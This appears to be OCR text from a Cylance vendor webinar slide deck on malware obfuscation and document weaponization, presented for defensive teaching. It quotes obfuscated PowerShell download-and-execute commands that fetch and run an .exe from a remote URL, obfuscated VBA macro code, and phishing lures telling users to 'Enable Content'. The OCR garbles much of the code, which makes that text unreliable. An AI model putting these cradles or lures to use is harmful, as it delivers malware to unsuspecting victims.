T # 1 N K BEY O ND

I CYLANCE

Cylance vs.
Hacking Exposed:

Obfuscation and Weaponization




SPEAKERS

il

Stuart McClure Brian Robison

CYLANCE THI1NK BEY O NI




Hacking Exposed
See Stuart and Brian LIVE at RSA 2019!

USA 201 9 ngcc?):e-cgenter, San Francisco

Emerging Threats: Hacking Exposed: LIVE—Bypassing NextGen
Combatting the Scourge of Fileless Attacks Wednesday, Mar 06 08:00 A.M. - 08:50 A.M.

Monday, Mar 04 2:15 PM - 2:45 PM Session Code:
Session Code: KEY-W02S
SEM-MO03




Agenda

 Obfuscation

« Tools, Methods and Techniques

 Weaponization

« Macros

« Something interesting...



Why obfuscation and weaponization

« Bypassing of Controls
* Anti-analysis

« Social Engineering is
Easy

* #1 Vector is Spam/Phish
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Command Obfuscation

Why obfuscate?
Tools and Methods

Manual Methods
* Notables (DDE, etc.)

Toys

* |nvoke-Obfuscation
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Examples:

cmd /c"pOWErSheLl -nopRoFi -Win hiDdeN -NOLo -NOnInteRA -eXeCUTIloNp bYpass "$7d0mK®6 =
[TYPEJ(\"{1HOX{3}{2}\" -f 'on’,ENVIr' Nt 'mE’) ; do{&(\"{1}{0}\" -f'ep''sle’) 33;${D"es} =

Command Line §7d0mk6::gETfoLDERpATh(\"Desktop\");(&(\"{0}H{1}{2}\" -f'Ne"'w-"0Object’) (\"{OH2}H{1H{3HEHO6}{4}\"-

f'Sy'te’s"m.Ne'’ent’t.Web',Cli")).dowNLoaDFilE.iNVoKE(\"http://v{ N/ goog\",\"SDes\26
49999 .exe\")}while(!${?});&(\"{OH2}{3KT1}\"-f 'St /ocess' art’-Pr') SDes\2649999.exe"

; 7f90debbbcfd8354af6f24a80dcb61€0642f2ade2601610a99f4eba5abb35185 - YvMwozGoSVhPO (Code) =10l x| - ; Untitled_attachment_190123 - hizj (Code)

(General)

~] [mfamc =l (General) ~| [autoopen

End If
If SzmMP < HPHJRJ Then

Dim BLqSi ()

End If
End Function

EZCOQH = VNGXvJ + QXVJE + KGZDL + £Esuki

Z| pztj = CBool (wzrjh)
lrnn = visn

|

"5:36:5" + ";25;" + "72;2" + "3;1;58" + ";36;" + "72;9;2" + "5;27" + ";45;28"
zwdv + woghj + khzij + fcodz + nbag + jotl + rszgz + mkmol + iztjo + nprz + lzhji

Function CHXCLI()

If HCval Xor 18 Then

Dim kNzVCr()
1HcMZ = DfpCzb + jdnDMm

End If
If YwjGst < 12 Then

Dim zDWbb ()
End If
If COBGrh >= i¥YNX3U Then

Dim ZIWSEE()

End If
If OZWMUJ Xor jqSZBc Then

nIz0dz = "[z" [VI£[2K[; [B[X[3[" + "v[Fle[.N[e [v[([x[q" + "[d[H[D["$3[W @[ " + "[t[z&[ds[8['[([m[n" + "[m[6[£["s@[>[D[2[fko" + "[{[4[XK[_+[~[u[8" + """" + "V"
0zilScHIiVE = "[F[ACO[I[q[O[" + "A[;[>[E[2[" + "([![c[3[*[" + "[W[B[![J[L[RX" + "[b[W(pD) (al?[]["

WWnGB = "+[F[RI[_[4[" + "*['[) [A[bSW, [a" + [

n1GSRLuvz = "4&0[/[*[AIQ" + "[([4[a[QIYI{[>[61]1(" + "3[!6[RIN[IN[:[/[" + ") [*[6, [VD) [E[M[a[" + "A[GL[>[) [x[Y[!K[SVE[" + "P?[v[bI[N" [i-"

JwlUgA = 0z1JZ + OgphD + wipYKo +

TYafA = uGsKM + YMbnaM + wARKn + VuBzk
RKnig = agKFbf + KwvSw + VFRiL + NnXiY

"[S[:[I[1E[P" + "[vs[n[Y[Pk" + "[gSItF[d, [T[8[n[i["

azaio = Int(dtda)
rikt = CBool (icah)
ngwd = wpgaj
End Select
Set qghn = jjjop
Select Case gfszg

nkopq = imn:

nwnlu = tnugr

idfq = Sin(555)
Case 536

swtk = Int (wbwf)
zvmEw = CBool (uzuwz)
djib = vcdp
End Select
Set mwhu = hlgm
Select Case pzsz
Case 772

Dim 1dQ3N() jpzk =
ruilir = KzXRu + Lnainh = bipzk = ligul
==« . nhsw = jot33
- 2l jqrak = Sin(520)
= « v |=J= «

sEt-VARIiAbLE 1PBeR® ( [ChAr[ 11 " ) )43]rAhc[lgnIRts[,)@7]rAhc[+711]rAhc[+35] rAhc[((ECaLper.)421]rAhc[lgnIRts[, 'sOB' (ECaLper.)93]rAhc[lgnIRts[,
b8d' (ECaLper.) 'Fusx'+'ei'+'s'+'0'+'B) '+'b8d1'+'sp.tneil'+"'c'+'_2cr'+'overt'+'/0'+'908"'+':031"'+".'+'6"'+'41"'+"'.861. '+'291//'+": '+'ptt'+'hb8"'+"d(

[arRaY]::rEverSe( $1PBEr® ); .( $PsHomE[21]+$

PSHOME [34] +'x')( $1PBEr@® -joIN '' )

W CcyunaNCE




Hands On

With Script
Control and
Optics!

Blocking Fileless Attacks
with Cylance




Weaponization

« APT32

« Macros: Document
Creation

i
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§) Adobe Reader - [5f8d7c06c11.pdf] o =] bS]
@Fﬂe Edit View Document Tools Window Help =& x|
i2A:a 8o @ 0= el - eit-ie-~ |

D

A
- TA

Adobe

Your document has been completed.
Download below.

Click Here to View Adobe File
If you have further questiorhe:/mmne
the sender of this message.

Copyright©2016
AdobeSystemsincorporated.Allrightsreserv
ed
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Home | Insert  Pagelayout  References

TA N
B 7 U - abe x, X°

Times New Ror = 12 bCcD¢ | AaBbCcD¢ AaBbCe

TNormal |1 No Spaci.. Headingl — Change

% @4 Find ~

2, Replace

= = o | Styles~ | kg Select~

Font £l Paragraph E] Styles

Editing

\!) Security Warning  Macros have been disabled. Enable Content

This Document is protected!

Open the document in Microsoft Office.
Previewing offline is not available for protected
documents.

If this document was downloaded from your
email, please click "Enable editing" from the
yellow bar above.

Once you have enabled editing, please click

"Enable content" on the yellow bar above.

Page:10f1 | Words:0 | 5 English (U.

x
&

| SECURITY WARNING Macros have been disabled.

Examples:

foo.doc [Compatibility Mode] - Word

Sign in

'“"v Times New Roman *12 ~|j=~ - ==
) TR e = A4aBbCcl AaBbC AaBbCel
“V . A - Aa- A. A- Af‘ - . L:Iv O Emphasis Hr.-rim; 1 1 Norma
Font [ Paragraph B Styles

Enable Content

Document created in
earlier version of
Microsoft Office Word

To view this content, please click "Enable Editing"
from the yellow bar and then click "Enable Content"

Pagelofl Owords [|2 i ] B B

p

Editing
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Hands On!

Weaponization




Oh, one more [
thing...




Next Hacking Exposed:
March 14th

www.cylance.com/webinars
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